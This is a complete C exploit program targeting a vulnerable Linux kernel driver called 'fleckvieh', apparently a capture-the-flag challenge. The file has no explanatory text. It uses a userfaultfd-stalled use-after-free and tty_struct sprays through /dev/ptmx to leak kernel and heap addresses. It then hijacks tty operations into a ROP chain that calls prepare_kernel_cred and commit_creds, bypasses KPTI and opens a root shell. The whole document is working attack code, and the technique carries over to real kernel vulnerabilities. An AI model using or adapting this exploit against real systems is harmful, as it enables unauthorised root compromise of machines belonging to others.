#define _GNU_SOURCE
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

#define VULN_DEVICE_NAME "fleckvieh"
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, "
      "user_rflags: "
      "0x%016lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
    fatal("ioctl(UFFDIO_API)");
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
    fatal("ioctl(UFFDIO_REGISTER)");
  }

  if (pthread_create(&th, NULL, handler, (void*)(uint64_t)uffd) < 0) {
    fatal("pthread_create");
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts("[*] userfault_handler: waiting for page fault...");
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal("userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT");
    }

    printf("[*] userfault_handler: addr=0x%llx, flag=0x%llx\n",
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i < vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] < 0) {
            fatal("userfault_handler: open(vuln_spray_dev_name)");
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i < vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] < 0) {
            fatal("userfault_handler: open(vuln_spray_dev_name)");
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal("switch(vuln_operation_type)");
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler: ioctl(UFFDIO_COPY)");
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i < vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("uaf_read: mmap");
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("uaf_read: mmap");
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&target_cpu);
  CPU_SET(0, &target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }
  save_state();

  vuln_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd < 0) {
    fatal("open vuln_device");
  }

  uaf_read(char_buf, 0x20, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base < 0xffffffff81000000 || kernel_base > 0xffffffffc0000000) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: 0x%016lx\n", kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf("[+] heap_addr: 0x%016lx\n", heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i < 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, "/dev/ptmx", 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i < 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}